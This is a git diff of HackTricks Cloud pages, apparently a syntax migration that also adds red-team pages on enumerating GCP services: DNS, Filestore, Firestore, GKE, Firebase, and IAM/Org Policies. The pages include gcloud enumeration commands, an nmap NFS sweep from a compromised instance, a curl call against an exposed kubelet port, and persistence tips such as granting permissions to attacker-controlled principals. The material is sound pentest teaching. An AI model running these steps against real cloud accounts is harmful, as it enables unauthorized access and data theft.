-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md
similarity index 58%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md
index 5724894e6..a06af7e15 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md
@@ -1,19 +1,6 @@
 # GCP - Containers & GKE Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Containers
 
@@ -41,9 +28,9 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
 
 In the following page you can check how to **abuse container permissions to escalate privileges**:
 
-{% content-ref url="../gcp-privilege-escalation/gcp-container-privesc.md" %}
-[gcp-container-privesc.md](../gcp-privilege-escalation/gcp-container-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-container-privesc.md
+{{#endref}}
 
 ## Node Pools
 
@@ -59,9 +46,9 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
 
 For information about what is Kubernetes check this page:
 
-{% content-ref url="../../kubernetes-security/" %}
-[kubernetes-security](../../kubernetes-security/)
-{% endcontent-ref %}
+{{#ref}}
+../../kubernetes-security/
+{{#endref}}
 
 First, you can check to see if any Kubernetes clusters exist in your project.
 
@@ -85,7 +72,7 @@ kubectl cluster-info
 
 You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
 
-This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_k8s\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
+This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
 
 ### TLS Boostrap Privilege Escalation
 
@@ -95,9 +82,9 @@ This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/d
 
 The technique used is explained in the following posts:
 
-* [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
-* [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
-* [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
+- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
+- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
+- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
 
 Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
 
@@ -114,17 +101,4 @@ curl -v -k http://10.124.200.1:10255/pods
 
 Even if the API **doesn't allow to modify resources**, it could be possible to find **sensitive information** in the response. The endpoint /pods was found using [**Kiterunner**](https://github.com/assetnote/kiterunner).
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md
new file mode 100644
index 000000000..8742886bc
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md
@@ -0,0 +1,25 @@
+# GCP - DNS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## GCP - Cloud DNS
+
+Google Cloud DNS is a high-performance, resilient, global Domain Name System (DNS) service.
+
+```bash
+# This will usually error if DNS service isn't configured in the project
+gcloud dns project-info describe <project>
+
+# Get DNS zones & records
+gcloud dns managed-zones list
+gcloud dns managed-zones describe <zone>
+gcloud dns record-sets list --zone <zone> # Get record of the zone
+
+# Policies
+## A response policy is a collection of selectors that apply to queries made against one or more virtual private cloud networks.
+gcloud dns response-policies list
+## DNS policies control internal DNS server settings. You can apply policies to DNS servers on Google Cloud Platform VPC networks you have access to.
+gcloud dns policies list
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md
new file mode 100644
index 000000000..aaa7bacc7
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md
@@ -0,0 +1,74 @@
+# GCP - Filestore Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Google Cloud Filestore is a **managed file storage service** tailored for applications in need of both a **filesystem interface and a shared filesystem for data**. This service excels by offering high-performance file shares, which can be integrated with various GCP services. Its utility shines in scenarios where traditional file system interfaces and semantics are crucial, such as in media processing, content management, and the backup of databases.
+
+You can think of this like any other **NFS** **shared document repository -** a potential source of sensitive info.
+
+### Connections
+
+When creating a Filestore instance it's possible to **select the network where it's going to be accessible**.
+
+Moreover, by **default all clients on the selected VPC network and region are going to be able to access it**, however, it's possible to **restrict the access also by IP address** or range and indicate the access privilege (Admin, Admin Viewer, Editor, Viewer) user the client is going to get **depending on the IP address.**
+
+It can also be accessible via a **Private Service Access Connection:**
+
+- Are per VPC network and can be used across all managed services such as Memorystore, Tensorflow and SQL.
+- Are **between your VPC network and network owned by Google using a VPC peering**, enabling your instances and services to communicate exclusively by **using internal IP addresses**.
+- Create an isolated project for you on the service-producer side, meaning no other customers share it. You will be billed for only the resources you provision.
+- The VPC peering will import new routes to your VPC
+
+### Backups
+
+It's possible to create **backups of the File shares**. These can be later **restored in the origin** new Fileshare instance or in **new ones**.
+
+### Encryption
+
+By default a **Google-managed encryption key** will be used to encrypt the data, but it's possible to select a **Customer-managed encryption key (CMEK)**.
+
+### Enumeration
+
+If you find a filestore available in the project, you can **mount it** from within your compromised Compute Instance. Use the following command to see if any exist.
+
+```bash
+# Instances
+gcloud filestore instances list # Check the IP address
+gcloud filestore instances describe --zone <zone> <name> # Check IP and access restrictions
+
+# Backups
+gcloud filestore backups list
+gcloud filestore backups describe --region <region> <backup>
+
+# Search for NFS shares in a VPC subnet
+sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
+```
+
+> [!CAUTION]
+> Note that a filestore service might be in a **completely new subnetwork created for it** (inside a Private Service Access Connection, which is a **VPC peer**).\
+> So you might need to **enumerate VPC peers** to also run nmap over those network ranges.
+>
+> ```bash
+> # Get peerings
+> gcloud compute networks peerings list
+> # Get routes imported from a peering
+> gcloud compute networks peerings list-routes <peering-name> --network=<network-name> --region=<region> --direction=INCOMING
+> ```
+
+### Privilege Escalation & Post Exploitation
+
+There aren't ways to escalate privileges in GCP directly abusing this service, but using some **Post Exploitation tricks it's possible to get access to the data** and maybe you can find some credentials to escalate privileges:
+
+{{#ref}}
+../gcp-post-exploitation/gcp-filestore-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-filestore-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md
similarity index 59%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md
index e4302bc44..a2a9fafd4 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md
@@ -1,19 +1,6 @@
 # GCP - Firebase Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
 
@@ -26,7 +13,7 @@ Some **Firebase endpoints** could be found in **mobile applications**. It is pos
 This is the common methodology to search and exploit poorly configured Firebase databases:
 
 1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC.\
-   You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105\&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
+   You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
 2. **Decompile** the APK using **apktool**, follow the below command to extract the source code from the APK.
 3. Go to the _**res/values/strings.xml**_ and look for this and **search** for “**firebase**” keyword
 4. You may find something like this URL “_**https://xyz.firebaseio.com/**_”
@@ -73,8 +60,8 @@ To test other actions on the database, such as writing to the database, refer to
 
 If you decompile the iOS application and open the file `GoogleService-Info.plist` and you find the API Key and APP ID:
 
-* API KEY **AIzaSyAs1\[...]**
-* APP ID **1:612345678909:ios:c212345678909876**
+- API KEY **AIzaSyAs1\[...]**
+- APP ID **1:612345678909:ios:c212345678909876**
 
 You may be able to access some interesting information
 
@@ -84,20 +71,7 @@ You may be able to access some interesting information
 
 ## References <a href="#references" id="references"></a>
 
-* ​[https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/)​
-* ​[https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)​
+- ​[https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/)​
+- ​[https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)​
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md
new file mode 100644
index 000000000..2e63d18cd
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md
@@ -0,0 +1,17 @@
+# GCP - Firestore Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
+
+Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions.
+
+```bash
+gcloud firestore indexes composite list
+gcloud firestore indexes composite describe <index>
+gcloud firestore indexes fields list
+gcloud firestore indexes fields describe <name>
+gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios'
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md
similarity index 55%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md
index a66c58493..df894ea13 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md
@@ -1,27 +1,14 @@
 # GCP - IAM, Principals & Org Policies Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Service Accounts
 
 For an intro about what is a service account check:
 
-{% content-ref url="../gcp-basic-information/" %}
-[gcp-basic-information](../gcp-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-basic-information/
+{{#endref}}
 
 ### Enumeration
 
@@ -35,24 +22,22 @@ gcloud iam service-accounts list --project <project>
 
 For an intro about how Users & Groups work in GCP check:
 
-{% content-ref url="../gcp-basic-information/" %}
-[gcp-basic-information](../gcp-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-basic-information/
+{{#endref}}
 
 ### Enumeration
 
 With the permissions **`serviceusage.services.enable`** and **`serviceusage.services.use`** it's possible to **enable services** in a project and use them.
 
-{% hint style="danger" %}
-Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**.
-
-However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs.
-{% endhint %}
+> [!CAUTION]
+> Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**.
+>
+> However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs.
 
 If you can **enable the `admin` service** and if your user has **enough privileges in workspace,** you could **enumerate all groups & users** with the following lines.\
 Even if it says **`identity groups`**, it also returns **users without any groups**:
 
-{% code overflow="wrap" %}
 ```bash
 # Enable admin
 gcloud services enable admin.googleapis.com
@@ -75,15 +60,13 @@ gcloud identity groups memberships search-transitive-memberships --group-email=<
 ## Get a graph (if you have enough permissions)
 gcloud identity groups memberships get-membership-graph --member-email=<email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
 ```
-{% endcode %}
 
-{% hint style="success" %}
-In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py).
-{% endhint %}
+> [!TIP]
+> In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py).
 
 Even with the admin service enable, it's possible that you get an error enumerating them because your compromised workspace user doesn't have enough permissions:
 
-<figure><img src="../../../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (193).png" alt=""><figcaption></figcaption></figure>
 
 ## IAM
 
@@ -95,14 +78,13 @@ From the [**docs**](https://cloud.google.com/resource-manager/docs/default-acces
 
 These **roles** grant the **permissions**:
 
-* `billing.accounts.create` and `resourcemanager.organizations.get`
-* `resourcemanager.organizations.get` and `resourcemanager.projects.create`
+- `billing.accounts.create` and `resourcemanager.organizations.get`
+- `resourcemanager.organizations.get` and `resourcemanager.projects.create`
 
 Moreover, when a user creates a project, he is **granted owner of that project automatically** according to the [docs](https://cloud.google.com/resource-manager/docs/access-control-proj). Therefore, by default, a user will be able to create a project and run any service on it (miners? Workspace enumeration? ...)
 
-{% hint style="danger" %}
-The highest privilege in a GCP Organization is the **Organization Administrator** role.
-{% endhint %}
+> [!CAUTION]
+> The highest privilege in a GCP Organization is the **Organization Administrator** role.
 
 ### set-iam-policy vs add-iam-policy-binding
 
@@ -136,7 +118,7 @@ gcloud iam list-grantable-roles <project URL>
 
 There are different ways to check all the permissions of a user in different resources (such as organizations, folders, projects...) using this service.
 
-* The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource.
+- The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource.
 
 ```bash
 gcloud asset search-all-iam-policies #By default uses current configured project
@@ -145,7 +127,7 @@ gcloud asset search-all-iam-policies --scope organizations/123456
 gcloud asset search-all-iam-policies --scope projects/project-id-123123
 ```
 
-* The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource.
+- The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource.
 
 ```bash
 # Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset
@@ -157,7 +139,7 @@ gcloud asset analyze-iam-policy --project=<project-name> \
             --identity='user:email@hacktricks.xyz'
 ```
 
-* The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included.
+- The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included.
 
 ```bash
 gcloud asset search-all-resources --scope projects/<proj-name>
@@ -165,14 +147,14 @@ gcloud asset search-all-resources --scope folders/1234567
 gcloud asset search-all-resources --scope organizations/123456
 ```
 
-* The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project
+- The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project
 
 ```bash
 gcloud asset analyze-move --project=<proj-name> \
           --destination-organization=609216679593
 ```
 
-* I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals
+- I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals
 
 ```bash
 # But, when running something like this
@@ -183,48 +165,47 @@ ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported f
 
 ### testIamPermissions enumeration
 
-{% hint style="danger" %}
-If you **cannot access IAM information** using the previous methods and you are in a Red Team. You could **use the tool**[ **https://github.com/carlospolop/bf\_my\_gcp\_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **to brute-force your current permissions.**
-
-However, note that the service **`cloudresourcemanager.googleapis.com`** needs to be enabled.
-{% endhint %}
+> [!CAUTION]
+> If you **cannot access IAM information** using the previous methods and you are in a Red Team. You could **use the tool**[ **https://github.com/carlospolop/bf_my_gcp_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **to brute-force your current permissions.**
+>
+> However, note that the service **`cloudresourcemanager.googleapis.com`** needs to be enabled.
 
 ### Privesc
 
 In the following page you can check how to **abuse IAM permissions to escalate privileges**:
 
-{% content-ref url="../gcp-privilege-escalation/gcp-iam-privesc.md" %}
-[gcp-iam-privesc.md](../gcp-privilege-escalation/gcp-iam-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-iam-privesc.md
+{{#endref}}
 
 ### Unauthenticated Enum <a href="#service-account-impersonation" id="service-account-impersonation"></a>
 
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md" %}
-[gcp-iam-principals-and-org-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
+{{#endref}}
 
 ### Post Exploitation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
 
-{% content-ref url="../gcp-post-exploitation/gcp-iam-post-exploitation.md" %}
-[gcp-iam-post-exploitation.md](../gcp-post-exploitation/gcp-iam-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-iam-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
 If you have high privileges you could:
 
-* Create new SAs (or users if in Workspace)
-* Give principals controlled by yourself more permissions
-* Give more privileges to vulnerable SAs (SSRF in vm, vuln Cloud Function…)
-* …
+- Create new SAs (or users if in Workspace)
+- Give principals controlled by yourself more permissions
+- Give more privileges to vulnerable SAs (SSRF in vm, vuln Cloud Function…)
+- …
 
 ## Org Policies
 
 For an intro about what Org Policies are check:
 
-{% content-ref url="../gcp-basic-information/" %}
-[gcp-basic-information](../gcp-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-basic-information/
+{{#endref}}
 
 The IAM policies indicate the permissions principals has over resources via roles, which are assigned granular permissions. Organization policies **restrict how those services can be used or which features are disabled**. This helps in order to improve the least privilege of each resource in the GCP environment.
 
@@ -238,21 +219,8 @@ gcloud resource-manager org-policies list --project=PROJECT_ID
 
 In the following page you can check how to **abuse org policies permissions to escalate privileges**:
 
-{% content-ref url="../gcp-privilege-escalation/gcp-orgpolicy-privesc.md" %}
-[gcp-orgpolicy-privesc.md](../gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-orgpolicy-privesc.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md
similarity index 57%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md
index 2e2c0be96..25d143161 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md
@@ -1,19 +1,6 @@
 # GCP - KMS Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
